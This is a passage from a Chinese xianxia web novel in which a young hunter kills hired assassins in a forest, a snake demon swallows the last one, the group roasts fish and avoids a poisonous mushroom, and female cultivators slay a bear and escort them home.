对方样貌陌生,身材健壮结实,指节粗大,像是长期习武之人,他不认为自己曾得罪过这样的人。 这样一来,只有一个解释,这几人是冲着公子他们来的! 现在,他该怎么做…… 一对一,他并不惧。 即便是四人合围,他也有信心不会丢了性命,没有人比他更熟悉山林,这里的一草一木都在他的掌握之中,倘若他此时想逃走的话,绝对可以从容办到。 但他若选择逃走,恐怕公子和娘子他们就会马上陷入危险之地…… 心念电转,顾行天很快做出了决定。 只见他的视线落在那块银子上,双眼明显地发亮,喉结也上下滚动起来,弯腰将手中树枝放在地上,似乎打算走过来。 过来,快点过来…… 光头男人心中呼唤。 只要这黑瘦小子再走近几步,便会进入他们的包围圈中,到那时,便是他插翅也难飞…… 突然,顾行天抬起的脚又再次落下。 光头男人愣了楞。 顾行天目露贪婪之色:“不够,你再加一点。” 光头男人脸上的横肉抽动了两下,暗道这小子还真贪得无厌,哼,他还不知道,自己马上便要是个死人了罢! 他低下头,伸手入怀:“等我再看……” 这边,顾行天见他低头,唇角突然冷漠勾起,抽出腰间弹弓,快速一拉一放。 弹丸的去势又快又急,甚至发出了咻的破空声。 那光头男人和顾行天之间的距离实在太近,破空声还没能传入他的耳朵,弹丸便准确无误地从他的右耳射入,直接贯入大脑内部! 光头男人的耳朵里鲜血汩汩涌出,连哼都未哼出一声,只是摇晃两下身子,便瘫倒在地,一动不动。 这一变故只在电光火石之间,余下几人甚至连做出反应都未来得及,等那光头男人声息全无,才明白过来发生了什么,顿时又惊又怒。 这黑小子竟然如此狠辣果决,没有半点犹豫或试探,甚至问都不问一句,就直接动手杀了他们的人! “这小子是怎么看出来的?” “竟敢杀我们的人,找死!” “一起上,干掉他!” 一左两右,与那光头男子打扮相仿的三人,手持着刀剑从藏身处冲出。 顾行天早有准备,不假思索地一拧身,又是一发弹丸朝着左边那人的面门打去。 那弹丸去势又快又急,左边那人不得不侧身闪避,包围之势出现一个破绽。 顾行天抓住机会,丝毫不带迟疑,几下兔起鹘落,便冲出了三人的包围圈,消失在几株树后。 第50章 【求追读】黄皮子和小狼崽 “糟了,让他跑了。” “追不追?” 两人看向另一人,显然三人中以那人为首。 那人便是之前给吴老二十两银子的男人,他略一思索,沉着脸摆了下手,“不管那小子了,我们直接把书生杀了,再将那小娘子掳走,免得夜长梦……” 果然是冲着公子来的…… 不远处,顾行天已经将这句话听得分明,爽目中露出冰寒之光,对准这几人中的一人,悄然弯弓搭箭。 他天生神力,能轻松拉开十石的强弓,不过十石弓制造不易,价格极其昂贵,所以他平时用的只是五石弓。 即便如此,要拉满寻常的五石弓,两膀也得有四五百斤的气力,就算是军中那些久经训练的神箭手,也并非每个都能做得到。而这样的弓拉满后,射出的一箭,山林中最为强壮的棕熊挨上,也会受到重创。 而若是对准人…… 那男人最后一个“多”字还未出口,忽然,再度破空声响,一枚长箭自林中呼啸而来! 速度快到极致! 噗嗤! 锐器没入血肉的沉闷声响起。 长箭从他身旁一人的后背处透心而过,鲜血飞溅。 男人和另一人顿时骇然,立马翻滚着退到一棵树后,让后背靠着树干,才左右四顾。 该死,那小子竟偷偷摸摸地放冷箭,又杀了他们一人! 两人急怒交加,全身阵阵发寒。 倘若在一览无余的平地上,他们自然不会惧怕那黑瘦小子,但这密林中,处处都是遮挡视线的高大树木,那小子躲在什么地方,谁也不知,竟然被他一下杀了两人! 突然,其中一人的头顶传来沙沙声,他下意识抬头,下一瞬,树上有个瘦削的身影以一个倒挂金钩的姿势垂下,手中寒光恍如鬼魅般地一闪,迅速抹过他的喉间。 鲜血如喷泉般,直将树干染红。 那人倒下,他想痛呼,但因为咽喉处的漏风,发不出声音,口中格格作响,不停吐出混着鲜血的白沫,画面看着让人毛骨悚然。 旁边的男人也骇然地睁大了眼,突然怒吼一声,挥动手中的宝刀,猛地向造成这一恐怖画面的黑瘦少年狂劈而去! 那黑瘦少年却只是瞥了他一眼,目光轻蔑,嘴角似勾未勾,露出个猎人玩弄猎物般的残忍笑容,及时地一翻身,瘦小的身躯便没入到了茂密的枝叶中,消失不见。 “该死!该死!”男人面孔惨白,疯狂挥刀对着四周的空气和树叶一阵乱劈,却只是徒费力气,什么也没劈中。 片刻后,他气喘吁吁地停下,等呼吸稍微平复少许,开始冷静下来。 和他一起来的那三人本是老爷家中的护卫,遑不论他们的武艺有多高明,至少每一个打三四个普通人毫无问题,本以为只是来掳一个娇娇弱弱的小娘子,可谓十拿九稳,没想到就这么短短的一会儿,三个人竟然都栽在了那黑瘦少年的手中。 早知如此,还不如耐住性子,等到那黑瘦少年不在的时刻再下手。 现在一步错步步错,任务是没法顺利完成了,只能先回去向老爷复命请罪。 他也算是老爷的心腹,总不会因为这点失误,老爷就要了他的命。 男人猛地打了一个激灵,如果再留在这里,说不定下一秒那小子便从什么地方神出鬼没地冒出来,给他一刀或是一箭…… 必须马上离开! 他知道顾行天必然还藏身在四周,所以跑动时也非常注意,尽量用树木作为遮蔽,防止后者用弓箭、弹弓偷袭。 顾行天握紧手中的短匕,黑眸里闪过一抹冰冷的厉色,准备追上去将那家伙擒住,从对方口中逼问出他们为何要对付公子。 在追出的瞬间,他忽然停住脚步。 “咔吱咔吱……” 视线的前方,忽然冒出了一条周身黑气缭绕,足有十余米长的青蛇,直接拦住了那男人奔逃的去路! 接着,青蛇的蛇嘴猛地张开,直到一个不可思议的大小。 而后,一口将那男人囫囵吞了进去! 顾行天瞳孔猛地一缩,心惊肉跳。 这是什么,难道是……蛇妖?! 就在他惊骇之时,那条青蛇忽地转过脑袋,金黄色的蛇瞳朝他乜了一眼,那目光看起来,竟似带着几分嘲讽、威胁、得意之色。 巨大的危险感让顾行天汗毛直竖,即便上次他与那只老狐生死搏杀之时,也未曾有过如此恐惧之感。 但他没有选择后退或是逃离,只是握紧手中匕首,眯起黑眸,冷漠又警惕地盯着大青蛇。 若是这条蛇露出一丝半点朝公子他们那边去的迹象,无论如何,他都要阻止。 一人一蛇,就这么对视着,僵持起来。 青蛇盯着顾行天,微微摇晃脑袋,数尺长的腥红蛇信缓慢吞吐,身上的鳞片在树枝间投下的阳光的照射下,闪着碧绿的幽光,看着既迷人,又有些瘆人。 顾行天不退不让,冷静同它对视。 直到青蛇的耳边,冷冷传来陈子均的呵斥声。 “不要胡闹!” 青蛇的身子一抖,终是先动了。 它不紧不慢地游走起来,方向恰好与陈子均所在之处相反。 等那绿色的幽光逐渐消失,顾行天紧绷的神经才略微放松,弯腰低头,将手中的短匕在草地上擦去血迹,重新插回靴筒,又将死去的那三人的尸首拖入隐蔽处,才抱起方才落在地上的树枝,往回走去。 …… 胡翘翘边吃着桑葚,边看着走过来的小青,好奇问道,“小青,你刚才去干什么了?” “方才我到林子里散步,恰好见到四只黄皮子在和一只小狼崽在打架,”小青笑吟吟地道,“就看了一会儿。” “哇,听着很有意思呀,”胡翘翘顿时兴致勃勃,“是黄皮子赢了,还是小狼崽赢了?” “那小狼崽子挺凶的,先趁黄皮子们没防备,冲上去一口咬死一个黄皮子,然后躲在角落里,偷偷扑死一个,接着又从树上跳下来,抓死一个……” “等等,狼也会爬树吗?” “……偶尔。” “这才三只呢,还有一只黄皮子呢?” “吓跑了,然后被一条蛇吞了。” 小青轻描淡写地道。 胡翘翘对这个结局有些意外,“怎么又多了一条蛇?” “很稀奇吗?山里嘛,蛇很多的。” “那、那只小狼崽呢?” “不知道,大概在打扫战场吧。” 第51章 黄盖鹅膏,有毒,不可食 这时,胡翘翘也将方才摘的桑葚吃得差不多了,尽管她吃得小心,指尖和唇瓣依旧被染成了紫色。 “小青,陪我去洗个手吧。” “好。”小青应了声。 二女起身,去溪边洗手。 溪水清清凉凉,洗起来很是舒服。 洗完了手,小青见水底还有不少鹅卵石,五颜六色的,煞是好看。 “翘翘姐,我们来捡鹅卵石吧?” “水会不会太凉啊?”胡翘翘犹豫。 “我试试。”小青一马当先,拎起裙摆,脱掉了鞋,再将里面的裤脚卷起,露出白嫩的小脚,试探地放进溪水中,感觉水温可以承受,于是两只脚都站了进去。 “还好,翘翘姐你也一起来!” 听她这么一说,胡翘翘胆子也大了起来,脱鞋后,卷起裤脚,赤着小脚丫走进了小溪里面,同小青一起捡拾起了鹅卵石。 捡着捡着,她忽然瞥到溪边的草丛里生着一堆小蘑菇,许是刚下过雨,个个嫩黄可爱。 …… …… 顾行天抱着树枝回到了溪边。 路上,他也琢磨好了,如果公子问他捡些柴火为何用了这么久,该如何回答。 但陈子均并未询问,只是对他微微一笑。 这小子比他想象的要更心狠手辣,也更临危不惧,聪明冷静。 一发现不对就先发制人,直接下杀手,除去对方一人,接着利用熟悉的山林环境,如猫玩耗子般,又轻松杀死两人。 若是仅仅这样,倒也没什么。 关键是他遇到了青蛇后,并未选择逃走,而是与青蛇对峙。 说起来好像不难,但面对可能是妖怪的巨蛇,还是一条刚在面前表演了一个“生吞活人”的巨蛇,恐怕绝大多数人都是直接吓到腿软或是尿了裤子,顾行天却依旧能保持镇定冷静,甚至因为担心青蛇可能危害到陈子均他们,还和青蛇有对抗之意。 不得不说,令他有少许刮目相看。 顾行天装作一副无事人的模样,将树枝架好,升起火,将四条鱼串架在火上,一边炙烤,一边撒上他随身带来的各种香料,这些香料中有的是用来去掉鱼肉的膻腥气味,有的则是用来调味。 又过了片刻,胡翘翘和小青也结束了玩水,走了回来,两人的手中似乎都捧着什么。 胡翘翘小跑到陈子均的身边,摊开了小手,白嫩掌心里躺着一大把嫩黄色的蘑菇,她喜孜孜地道,“相公,快看我们刚摘的蘑菇,小青说这种蘑菇很好吃的,我们一起烤着吃吧!” 闻言,顾行天下意识瞥了眼,立即开口,“这种蘑菇不能吃,有毒!” 胡翘翘一呆。 “什么?这蘑菇有毒?”青蛇走了过来,送他一声冷笑:“喂,你要是不认识,便别胡说八道!” “大姐,我没胡说,它真的有毒!”顾行天坚定地摇头,“它叫黄盖鹅膏,剧毒无比,吃下去顶多一个时辰,就会腹痛如绞,出现幻觉,若不及时送医,两三个时辰后便全身无力,一命呜呼!公子、娘子,你们一定要信我!” “我说没毒就是没毒!”小青大怒,扭头对胡翘翘说,“翘翘姐,别听他瞎扯,当年我住在峨眉山时,这种蘑菇吃了没一千也有八百,滋味鲜美无比!” 胡翘翘见两人各持一词,不知该信谁才好,呆呆地看看这个,又看看那个,最后,不得不将视线投向了陈子均。 陈子均从胡翘翘的掌心中拿起一株蘑菇,看了眼,淡淡道:“确实是黄盖鹅膏,有毒,不可食。” 相公说的,自然不会有错。 对了,小青身为蛇妖,本身就剧毒无比,自然不会在意这小小蘑菇的毒了。 胡翘翘的小脸瞬间白了,连忙将手中的蘑菇全都扔到远处。 一想到若是顾行天不在,相公又不识得这蘑菇,误食后说不定会生命垂危,而这,都是她的错。 于是,无数的内疚、懊恼……便仿佛变成了无数把利刃,在胡翘翘的心中狠狠绞动。 她眼圈开始发红,长睫轻颤,晶莹的泪珠儿在眼里打转,“相公,我、我不知道它有毒……” 小青见胡翘翘要哭了,怕陈子均觉得她存心欺骗胡翘翘,急得两手连摆,“公子,我以前真的吃过许多这种蘑菇,所以才会以为它没毒……” “你吃过许多?” 顾行天狐疑地看着她,居然还能活到现在,莫非是天赋异禀?! 陈子均没搭理小青,只是将胡翘翘拉进怀里,搂着她,温声哄道,“我知道,娘子自然不可能是存心的,别哭别哭……” 胡翘翘依旧无比难过:“万一、万一相公没认出来,吃了怎么办……” “没有这个万一,我可是要去考状元的人,博览群书,怎么会连毒蘑菇都不认识?”陈子均掏出手帕,轻轻替她擦拭脸颊,同时叹气道,“娘子一哭,我的心啊,也会疼得不行……” “我不哭了,相公别心疼。” 胡翘翘努力压住眼泪,泪珠儿总算没滴下来,但兀自在眼睑中盈盈打转,楚楚可怜。 这时,她才注意到自己被陈子均搂在怀中,羞意萌生,红晕飞上脸颊,低头不做声了。 小青的心中却毫无波澜。 这些天以来,小狐妖和公子整天蜜里调油的腻在一块儿,她从一开始的感觉没眼看,到现在已经习以为常。 要是哪天这两个人不腻乎了,她反而会觉得不太正常! 顾行天则是专心致志地盯着火上的那几串鱼,一副“我在认真烤鱼,什么也没看到”的憨厚老实模样。 很快,鱼皮变成了诱人的焦黄色,一股让人食指大动的香味儿也飘了出来。 小青鼻子动了动,好香啊。 烤得火候似乎也不错,不知道吃起来如何…… 哼,这臭小子人是臭的,烤的鱼八成也是臭的,她才不稀罕吃呢! “熟了!” 顾行天边说着,边动手将大部分的火灭掉,只保存一丝火苗,再取下四串鱼。 随后,他将最大的两条鱼递给了陈子均。 陈子均道了声谢,将一条鱼放入胡翘翘的手中,“娘子,这条给你。” 胡翘翘摇头,“这条大,这条给相公。” 陈子均也不和她争,便将另一条给她,同时提醒道,“当心烫,别急着吃,等凉一点再说。” 胡翘翘自然乖乖点头答应。 烤好的鱼还剩两条,一条稍大,大概六七两,另一条约四五两。 顾行天毫不犹豫,将稍大的那条鱼递给小青。 “大姐,给你。” 第52章 【求追读】嗯,真香 小青一怔,柳眉倒竖,一掌将插了鱼的树枝推远,但是用的力道并不大,小嘴一撇,“不用,我不饿!” 哼,她才不是一个会为了区区一条烤鱼,就置自尊于不顾的蛇妖呢! 当然了,若是这小子识趣一点,再三递过来,那么,她也只好勉为其难的接受了。 顾行天见她拒绝,只道她真的不饿,也不强求,“那这条鱼我先放在旁边,大姐若是饿了,自己拿着吃。” 小青:“……” 等鱼没那么烫了,胡翘翘方才小心翼翼地撕开鱼皮,露出里面香气四溢的雪白鱼肉。 她咽了下唾沫,一口咬下。 “啊!好鲜,好嫩!”小狐妖的眼睛直接亮了,因为嘴里塞满了鱼肉,说话也变得有些含混不清,“真的很好吃呀,相公,你快尝尝!” 陈子均也咬了一口鱼,果然,这鱼不光烤得火候刚好,鱼皮焦脆可口,而且香料的搭配也恰到好处,毫无鱼腥味,却完全突出了鱼肉的鲜美嫩滑。 “嗯,味道确实不错。”他有点意外,没想到顾行天还有这门手艺。 受到公子的夸赞,顾行天的脸上浮现出了一丝赧然,挠着脑袋,憨笑道,“平素我在山里时常自己烤东西吃,烤给别人还是第一次,公子喜欢就好。” 胡翘翘边不亦乐乎地啃着鱼,边转向小青,软软地劝道,“小青,这鱼真的很好吃,你吃一点试试嘛?” “……不吃!” 小青赌气地闭上眼,准备来一个“眼不见为净”,但眼睛能闭上,鼻子却塞不住,鱼肉和香料混合而生成的香味儿直往鼻孔里钻,又顺着鼻腔,钻到胃里,顿时勾起了不少条馋虫。 可恶! 早知道方才不拒绝得那么斩钉截铁就好了。 话已出口,让她现在怎么好意思再去拿! 过了小半刻钟,小青悄悄掀开眼皮,瞟了一眼,正好看见众人把吃剩的鱼骨头扔进火堆中。而她之前拒绝的那条鱼,还放在旁边没人动。 ……哼! 她的手忍不住放在小腹之上,感觉那里空空的…… 一条鱼吃完,胡翘翘舔着红红的嘴唇,有些意犹未尽,却不好意思对顾行天说还想吃,只是眼巴巴地望着陈子均。 相公,人家还要嘛…… 陈子均怎能不懂她的意思,笑着看向顾行天,“我还没吃饱,能麻烦你再烤几条么?” “小事一桩,没有什么麻烦的,”顾行天立马道:“公子稍等,我去抓鱼,很快就好。” 小青:“……” 完了,又要再受一次煎熬了! 虽说小青不吃,但这一次,顾行天依旧抓了四条鱼。 没多久,烤鱼的香味儿再次飘了起来。 于是,小青的肚子里那股空空的感觉,愈发强烈了几分。 看着众人都在大快朵颐,她甚至觉得,酸溜溜的胃液在不停往上涌,快要将她自己都给消化。 她的眼神控制不住地往旁边那条鱼打量…… 唔,真香! 确实好吃! 等等! 看到手中已经啃了一半的鱼,小青瞪大双眼,满心骇然,她居然没发现自己什么时候把鱼抓在了手里,又什么时候吃了这么多了?! ……她的面子全没了! 目光悄悄瞄向众人,希望自己的举动没被注意到,尤其是不要被那个黑瘦小子给见到。 但老天似乎也要和她做对,胡翘翘探过小脑袋,笑着道,“小青,我没说错吧,这鱼烤得真的很好吃!” 这话一出,顾行天和陈子均也齐齐地朝小青看了过来。 小青很想一掌拍在胡翘翘的小脑袋上,好气哦,这小狐狸怎么如此没眼力见儿!但顾忌到陈子均,不敢动手。 一张俏脸忽青忽白。 这时,顾行天将剩下的那条鱼又递到了她的面前,笑着说,“大姐慢慢吃,不够还有。” 小青眯起眸子,审视地盯着他,确认他神情真挚,没有任何调侃或是讥嘲之意,突然觉得自己方才的拒绝挺没格调——自己可是活了好几百年的妖怪,和一个十几岁的人类小子怄什么气啊! 何况美食在前,不尽情享用,吃亏的反而是她自己。 也罢,她暂时不计较这小子一口一个大姐的“无礼”了! 想到这里,小青便坦然了,又张嘴咬了一口烤鱼。 嗯,真香。 没多久,后烤的四条鱼也被吃得干干净净,鱼刺被扔进火堆里烧掉。 胡翘翘拿出玉米饼子,埋在火堆的余烬里,没多久就烘得香软无比。 众人都拿了一块。 正吃着,忽然,不远处响起了一阵由远及近的沙沙声,地面也开始微微震动,仿佛有什么庞然大物正踩着地上的落叶枯枝,朝着这边缓步走来。 顾行天率先反应过来,猛地跃起身的同时,弓箭已经入手。 “好像是熊!”他一双狭长的眸子警惕地盯着声音的源头,压低声音,“公子,你们先躲开,我来对付它!” “好,你自己小心。” 陈子均说完,便拉着胡翘翘,站到了不远处。 “区区一头小熊……”小青略带不屑地轻哼了一声,但见陈子均没发指示,便还是站到了胡翘翘的身旁。 没多久,草丛晃动,一头魁梧如小山般的成年棕熊,出现在了不远的某处。 当它发现众人时,忽然人立而起,张开大嘴,发出咆哮,眼里也露出凶光。 顾行天屏住呼吸,开始弯弓搭箭。 除去上次那头老狐外,他曾遇到的所有野兽之中,便以老虎与棕熊两种最为凶悍,而即便是他,面对棕熊也会深感棘手。 雄性成年棕熊,不仅力量胜过猛虎,那一身厚重的熊皮,更是如同上好的铠甲,防御力极强。即便是猛虎,中了他一箭也会受伤不轻,但换做雄性的成年棕熊,只要没被他的箭射中要害,就只是皮肉伤,反而会大大激起棕熊的凶性。 而一只发了狂的棕熊,其凶猛的程度又会增加十倍! 到那时,他不一定能保证公子他们每个人都毫发无损! 所以,必须要一箭毙命! 顾行天眯起眸子,瞄准了棕熊两眼之间的位置,手中的五石弓一点一点拉满…… 蓦地,头顶的半空中,传来了一声娇喝! “畜生,竟敢伤人!” 咻—— 一道匹练似的雪亮剑光凌空疾飞而来,绕着棕熊的脖颈,轻轻巧巧地转了一圈,又飞了回去。 硕大的熊头,就如被刀切过的豆腐一般,瞬间齐颈而断,“砰!”掉在草地上。 无头的熊尸站在那里,凝滞了一个呼吸,才重重地往前摔倒,随着它的倒下,地面都沉沉震动了下,鲜血自断颈处如喷泉般涌出,转眼将草地染红了一大片,一阵风吹来,血腥味儿熏人欲呕。 接着,两道身影从天翩然而降。 第53章 【求追读】师妹怎地如此热心 这两道人影竟然是两个女郎。 略高的那个身穿紫衣,约莫二十七八岁,鹅蛋脸,秀眉明目,样貌端庄。她身边那个女郎看着不过二十许人,瑶鼻樱口,长相俏丽,目光却颇为锐利凌厉。 那年轻女郎的手中还握着一柄长剑,剑身雪白,神光流动,正是方才斩杀棕熊的那一柄,却连一丝血迹没沾上。 而见到她们高来高去的这一番姿势,身份已然不言自明。 顾行天缓缓放下手臂,惊讶地看着她们,“仙、仙师?” 胡翘翘的身子则是僵硬了几分。 白崖村位置偏僻,是以她和陈子均在这里生活了近三年,除去上次赶集,还是第一次碰见修士。 上次的两名男修虽自称是“三大仙门之一的青云宗“的门人,但她并没亲眼见到对方施展法术,对于修士与凡人间的差距,她依旧懵懂,是以也没太过紧张。 但此刻,如此凶恶的棕熊,竟被眼前的年轻女郎轻飘飘的一剑斩杀,似乎连一成实力也没用出! 如果方才那一剑,是斩在她的身上…… 小狐妖的第一反应就是别让自己的身份败露,但现在想找个隐蔽的地方躲起来也来不及了,还会欲盖弥彰,正在紧张害怕之时,却见到陈子均再次踏上一步,将她半护在了身后。 胡翘翘突然就没那么紧张了。 对了,她手里还有上次卤蛋爷爷给她的,据说含有劫雷之力的雷果呢! 想到这里,胡翘翘摸了摸腰间的小荷包,感觉到放在里面的两颗雷果的存在,底气足了几分。 若是他们真的发现自己是妖怪,喊打喊杀的话,哼哼…… 自己也不介意给她们一点颜色看看! 小狐狸的眼珠子骨碌碌转着,思绪已经预演到了“等打出雷果,自己便第一时间护住相公逃走“之上,而小青亦是有些不安,下意识地眯起了眼,突然,陈子均的传音在耳边响起,“放心,我在你命魂中下的禁制,可隐藏住你的妖气,即便是神通境的修士也看不出。” 闻言,小青的心中微微一松。 两个女郎朝着众人看来,目光快速地掠过顾行天,小青,忽地停驻在了陈子均的脸上,都有些轻微的愣神。 这书生打扮的男人,生得可真俊…… 两双妙目都凝聚在陈子均的身上,反倒是胡翘翘因被他护在身后,被她们不自觉地短暂忽略了。 更让她们惊讶的是,即便在得知了她们的身份之后,对方也只是不卑不亢地看着他们,神情中没有丝毫如其他凡人一般的震惊或卑微或谄媚,而是泊泊然、淡淡然,他便只站在那里,便有种岳峙渊停、天地不惊的气概,似乎在他的眼里,她们即便真能搬山倒海、腾云驾雾,也没什么大不了的。 那年轻女郎脸蛋微红,竟有些无法与陈子均对视,她挪开目光,轻咳一声,将手里的长剑回了鞘,声音放得柔和几分,问道,“那个,你们没事吧?” 小青和胡翘翘怕引起注意,自然不去回答。 顾行天一贯口拙,更是呐呐不言。 陈子均开口,“多谢两位仙子,我们很好。” “不必多礼,”年轻女郎悄悄看了他一眼,再次飞快地拧开视线,“举手之劳而已。” 年长女郎则是要沉稳一些,笑着道,“我们是五行宗的门人,今天来这附近办事,正好撞见这头棕熊要伤人,也算你们的运气不错。” “五行宗?”顾行天又是一惊,“莫非是三大仙门之一的五行宗?” “若是大夏国没有第二个五行宗的话,那就应该是了!”年轻女郎弯唇一笑,将手中长剑回鞘,同时语气和神态之中都不自觉地带上了几分傲气。 小青的眼眸微眯。 据她所知,五行宗的心法主要是利用天地中的五行元力,来磨砺淬炼神魂。 而在五行宗内,最出名的,便是主修金属性魂力的剑修,走的是“一剑破万法”、“一往无前”的路子,无论是攻击力,还是攻击速度,在同等境界之下,五行宗的剑修都要远超普通修士,其他门派的剑修也颇为不及。 当然了,五行宗的剑修也有短板,首先,金属性魂力的特性,便决定了以它淬炼命魂之时,会如万剑穿心般的剧痛难当,非大毅力、大恒心者无法坚持,时日久之,更可能对命魂形成损伤隐患,难以持久战斗。 其次,五行宗剑修的攻击虽凌厉无匹,但若遇到擅长以柔克刚的对手,无法速战速决,锐气被挫后,就易溃败千里。 眼前这年轻女郎,看其红色长裙的胸口处绣有一柄光芒环绕的小剑,想必便是一名五行宗的剑修。 至于另一名女郎,她的紫衣胸口处绣的是一座苍翠小山,小青判断,对方应该是修炼土属性魂力的五行宗弟子。 陈子均微微一笑:“原来是五行宗的仙子们,果然风采不凡。” 这时,那年长女郎看向年轻女郎,道:“既然没事了,我们走吧。” 年轻女郎却莫名有些不愿,她转了转眼珠子,又问陈子均,“你们是不是要下山?” 陈子均点点头。 此刻已过申时,几人也该下山了。 年轻女郎浅浅笑道,“相逢便是缘,我和师姐带你们一程好了。” 年长女郎瞥了她一眼,似笑非笑地模样:“石师妹今日怎地如此热心?” 她这个师妹平素性格大大咧咧,连对自家人都很少细心考虑,现在居然会主动询问陌生人要不要一同下山,更重要的是,那几个陌生人还都是凡人,这在她的记忆里,可是破天荒的第一遭! 至于原因么…… 必然是为了那几人中的俊美书生。 不过,这书生不光俊美,气质也确实不凡,别说石师妹了,就算是她也不敢盯着多看,否则…… 年轻女郎的玉颊散发淡淡绯色,肃然道:“师姐说的什么话,这有什么热心不热心的,顺路而已。” “我们目前的御剑术可带不了四人。” “我记得师姐画了不少缩地成寸符,今日正好派上用场。” 年长女郎乜她一眼,“拿我的东西做人情?” 年轻女郎笑嘻嘻地,“哎呀,符箓这东西,画了就是拿来用的呀!只攒不用,和守财奴有什么区别。” 年长女郎无奈道:“罢了,你总是有理! 她伸手在腰间的一个小袋上一抹,手中便多出了几张散发微光的符箓,再轻轻挥手,符箓便飞到了众人面前。 “这是缩地成寸符,凡人也可使用。你们一人一张贴在身上,一步的距离便可抵平时百步。” 陈子均微微一笑:“多谢。” 第54章 吃干醋 待几人将符贴好,年轻女郎瞥见旁边的熊尸,略一沉吟,拿起腰间小袋,将袋口对着熊尸轻轻一晃。 转瞬间,熊尸便消失无踪。 顾行天目瞪口呆,胡翘翘也吓了一跳。 虽说陈子均和小青都知道这是修士的储物法宝,但依旧也配合地露出震惊之色。 年轻女郎看着他们,笑道,“放心,这头熊我暂时先帮你们收起来,等下山后再还给你们。” 陈子均淡淡笑道:“无功不受禄,这头熊是仙子杀的,仙子拿去即可。” “别客气,它对我没多大用处,何况,又不是什么值钱东西!”年轻女郎满不在意地挥了挥手,“好了,走罢!” 四人贴上缩地成寸符,一步迈出,四周风景立即奇异变幻。 等停下时,距离之前的位置便已有百米之遥。 这就是修士的法术吗? 还真神奇! 胡翘翘和顾行天都有些心荡神摇,震惊无语。 而那两名女郎并未贴缩地成寸符,行走在几人身边,却依旧如闲庭信步,与他们保持着同样的速度。 边走,那年轻女郎边好奇地问陈子均,“你们几人是住在这附近吗?” 陈子均答道:“我和娘子,还有娘子表妹,就住在山下的白崖村。” 听到“娘子”两字,年轻女郎的神情陡然一凝,目光第一次正儿八经地投向了他身边的胡翘翘。 等看清后,她心里喟叹一声,这小娘子方才一直被书生护在身后,所以她没太留意。 此刻定睛一看,简直漂亮到不似人类。 她一向自认长得不错,但此时依旧为对方的艳光所慑,不由得自惭形秽起来。 不过,她对陈子均目前只停留在“第一印象极好”的这个层次上,所以在得知他已有娘子后,略有一丝失落,便立马恢复如初。 陈子均又问,“不知两位仙子来我们这里,所为何事?” “前几天的晚上,你们这儿应该打雷打得很厉害吧?”年轻女郎压低声音,神秘兮兮地道,“告诉你,那不是普通的雷,是有妖怪在度雷劫,我和师姐就是来这里调查情况的!” 陈子均似乎吓了一跳,失声道,“什么?妖怪?雷劫?仙子的意思是说,我们这里有妖怪?” 胡翘翘眨眨眼,自己往日怎么没发现,相公的演技如此精湛? 年长女郎皱眉,轻喝道,“石师妹!” 年轻女郎一怔,“哎呀我忘了,不能随便向无关的凡人透露这些!” 修士们诛邪除妖时多半会低调行事,理由也很简单。 倘若凡人知晓他们的身边便有妖邪鬼怪,难免会引起恐慌骚乱,除非那妖怪闹出了大乱子,又成功被解决,才可能向众人公开,安抚民心。 她连忙宽慰众人道:“你们不用太紧张,若真发现妖怪,我和师姐自然会帮你们解决掉!” 陈子均松了口气,“多谢两位仙子。” “不用谢,”那年长女郎本来飘然行在众人之前,此刻头也没回,淡淡地道,“斩妖除魔,本就是我们修行之人的职责。” 胡翘翘眨了眨眼,自己和小青两个妖怪就在她们的眼前,她们都发现不了,还说什么斩妖除魔,看来也厉害不到哪儿去,说不定啊,只是仗着宝剑锋利,才能轻松杀死方才那头熊。 想到这里,小狐妖悬着的心,慢慢放了下来。 …… 之前几人上山时用了一个多时辰,此刻贴上缩地成寸符后,一步抵百步,短短几句话的时间,白崖村已经近在眼前。 在离村子还有一段距离处,年长女郎停下了脚步,纤纤素手一招,几人身上的缩地成寸符便自动飞起,落入她的手中。 “好了,就到这里,你们自行回去吧。” 年轻女郎则是从储物袋中取出了熊尸,笑道,“来,这个给你们。” 陈子均略显忐忑,然后道了声谢。 年轻女郎又抿唇一笑,“对了,你可告知村民,三月后,我们五行宗会在长陵镇府招收新的入门弟子,若谁有兴趣,可来试一试。” 陈子均点点头:“好。” 两名女郎飘然而去,转瞬就不见了踪影。 陈子均看了眼那座小山般的熊尸,对顾行天道,“这熊肉、熊胆和熊骨都是大补之物,对你父亲的身体有益,你将它拿走吧。” 顾行天原本认为这熊不是他杀的,没动它的心思,但听陈子均这么说,孝心占了上风,便没推却,拱手道:“多谢公子。” 他心中极为感激,这头熊价值不菲,结果为了他爹的身体,公子说不要就不要了,想到这里,暗下决心:“天底下竟有公子这样慷慨善良的人,我这一生怎么报答都不为过!” 他想了想,又道:“回头我把熊皮剥了,硝制好再给公子送来! 众所周知,皮毛越完整,品相越好,卖价也会越高。这头棕熊虽然断了脑袋,但身子部分保持得极为完整,加上熊皮厚重,属于各类皮毛中的上等品种,卖出个十两银子也不为过。 虽然一张熊皮的价值远比不上一整头熊,但来日方长,以后他再慢慢回报公子便是! 接触几次后,陈子均已经看出这小子是个犟脾气,拒绝也没用,便答应下来。 顾行天扛着熊尸,大步离开。 陈子均看向胡翘翘,温声道:“娘子,我们也回去了。” 胡翘翘“嗯。”了一声,便同陈子均一起往两人的住处走去,小青跟在两人的身后,落后约三四步的距离。 走了一段路后,陈子均忽然察觉到了不对劲。 平素一张小嘴总是呱唧个不停的小狐狸,今日竟一路闷不做声。 一开始,他还以为她是担心那两名女修还没去远,因此谨言慎行,避免露出马脚。 但连半路遇到的几个熟悉的村民同她打招呼,她也只是挤出个礼节的笑,丝毫不如往日热络,好似个锯了嘴的葫芦,真是奇哉怪哉。 进入了自家的院子,小青回到厢房,陈子均则是拉着胡翘翘的手,去了卧室。 “娘子?” 胡翘翘闷着一张脸,抬头看他。 陈子均挑眉,“这么久都不说话,有什么事情不开心么?” “没有呀,”胡翘翘又垂下脑袋,闷闷地道,“没有什么不开心的。” 陈子均看着她,几秒后,叹气道,“该不会是因为方才别人看我的事情,所以在一个人偷偷吃干醋?” 胡翘翘,“……” 她自己其实心知肚明,这种没来由的醋很没道理,却控制不住…… 因为不想让相公觉得她不够温良贤淑,和书中那些善妒的妇人一样惹人厌憎,所以她才一直闷不做声。 现在小心思小心眼都被相公明晃晃地放在台面上,她就羞得只想找个地缝钻进去。 胡翘翘涨红了小脸,咬着嘴唇,又想否认,又怕撒谎被相公看出来罪加一等,最后,只是委屈兮兮地说:“翘翘知道乱吃醋是不对的,相公不用管我,我生一会儿闷气就自己好了……” 